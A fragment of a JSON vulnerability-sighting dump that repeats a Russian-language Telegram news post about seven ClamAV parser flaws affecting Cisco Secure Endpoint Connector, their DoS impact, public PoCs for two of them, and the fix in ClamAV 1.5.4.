\u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-13T01:00:03.952128Z"}, {"uuid": "331f5cce-6086-49d5-a65a-1ebad9d37f81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-13T01:00:04.003247Z"}, {"uuid": "f742204c-101e-427c-bcbf-ab11f5f03daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f 